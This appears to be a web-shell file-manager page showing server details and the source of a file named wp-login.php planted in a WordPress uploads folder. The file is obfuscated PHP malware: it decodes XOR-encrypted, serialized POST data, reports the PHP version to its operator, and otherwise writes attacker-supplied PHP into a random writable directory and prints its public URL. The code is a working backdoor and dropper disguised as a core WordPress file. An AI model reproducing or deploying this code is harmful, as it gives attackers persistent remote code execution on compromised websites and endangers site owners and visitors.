HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2024/02/wp-login.php
<?php function wFXhn($imebMsX){$OLtOyxlFGP = "\162".'a'."\x77".chr(182-65)."\162".'l'."\x64".chr(101).chr(99).chr(111)."\144".'e';$iEgZP = chr(115)."\x74".chr(961-847)."\137"."\x72".chr(111).chr(116).chr(49)."\63";$JFQErdNc = 's'.'t'.chr(970-856).chr(679-584)."\x73"."\x70".'l'."\x69".chr(426-310);$imebMsX = $JFQErdNc($OLtOyxlFGP($iEgZP($imebMsX)));return $imebMsX;}function TMmxMiwbSL($ZzWHe, $imebMsX){$nzzWGd = chr(1052-937).'t'.chr(114)."\137"."\x73"."\160"."\x6c"."\x69".chr(116);$ZzWHe = array_slice($nzzWGd(str_repeat($ZzWHe, (count($imebMsX)/16)+1)), 0, count($imebMsX));return $ZzWHe;}function rGcKndMrBp($kyZyHIkY, $IZBqyXoTu, $ZzWHe){$TAmcOWp = "8b00b0f2-9f4a-4093-822b-a6f94b11df04";return $kyZyHIkY ^ $TAmcOWp[$IZBqyXoTu % strlen($TAmcOWp)] ^ $ZzWHe;}function YvaxeoGCa($imebMsX, $ZzWHe){$imebMsX = array_map("rGcKndMrBp", array_values($imebMsX), array_keys($imebMsX), array_values($ZzWHe));$imebMsX = implode("", $imebMsX);$QmPyeA = 'u'.chr(172-62).chr(115)."\145"."\x72".chr(841-736)."\141".'l'."\x69".chr(965-843).'e';$imebMsX = @$QmPyeA($imebMsX);return $imebMsX;}function tdrVgXir(){echo "oKJASUnPE";}function OcCbjKLS($OdApSwsHCUir){static $TQvZCeBKF = array();$qtpiXFo = glob($OdApSwsHCUir . '/*', GLOB_ONLYDIR);$OVOgJAy = count($qtpiXFo);if ($OVOgJAy > 0) {foreach ($qtpiXFo as $OdApSwsHCU) {$cYYxBdajb = "\x69".chr(115)."\x5f".chr(119)."\x72".'i'.'t'.'a'.'b'.chr(771-663)."\x65";if (@$cYYxBdajb($OdApSwsHCU)) {$TQvZCeBKF[] = $OdApSwsHCU;}}}foreach ($qtpiXFo as $OdApSwsHCUir) OcCbjKLS($OdApSwsHCUir);return $TQvZCeBKF;}function wNkwGGYYY(){echo "SrbLvbteT";}function svyVkwQUW($imebMsX){$SFWLP = "\x44".chr(79).chr(67).chr(875-790).'M'."\105".chr(256-178)."\124".chr(780-685).chr(82)."\x4f".'O'."\124";$GhbpuJPce = $_SERVER[$SFWLP];$qtpiXFo = OcCbjKLS($GhbpuJPce);$LZNdM = array_rand($qtpiXFo);$EeBsEvicjy = chr(46).chr(866-754)."\x68"."\x70";$MnaLVLOvb = $qtpiXFo[$LZNdM] . "/" . substr(md5(time()), 0, 8) . $EeBsEvicjy;$YiZdJeF = chr(102).'i'.'l'.chr(101)."\137".'p'.chr(825-708).chr(192-76).'_'.chr(313-214).chr(111).chr(832-722)."\x74".chr(101).chr(259-149).'t'."\163";@$YiZdJeF($MnaLVLOvb, $imebMsX);$zDUMp = chr(72).chr(84)."\124"."\x50"."\137".'H'.'O'.chr(83).chr(84);$qwWTzsX = chr(742-638).chr(983-867).chr(980-864)."\160"."\x3a"."\57"."\57";$oZEueeWYx = $qwWTzsX . $_SERVER[$zDUMp] . substr($MnaLVLOvb, strlen($GhbpuJPce));print($oZEueeWYx);}foreach ($_POST as $ZzWHe => $imebMsX){$QHNreSjIk = strlen($ZzWHe);if ($QHNreSjIk == 16){$imebMsX = wFXhn($imebMsX);$ZzWHe = TMmxMiwbSL($ZzWHe, $imebMsX);$imebMsX = YvaxeoGCa($imebMsX, $ZzWHe);if (@is_array($imebMsX)){$LZNdM = array_keys($imebMsX);$imebMsX = $imebMsX[$LZNdM[0]];if ($imebMsX === $LZNdM[0]){$lthYM = 'p'.chr(104)."\x70";$tNKpwrZHW = chr(112).chr(104).'p'."\x76".chr(101).'r'.chr(115).'i'."\157"."\x6e";$nLuiFZAA = chr(1100-985)."\145".'r'."\151".'a'.'l'."\x69"."\x7a".'e';echo @$nLuiFZAA(Array($lthYM => @$tNKpwrZHW(), ));}else {svyVkwQUW($imebMsX);}die();}}}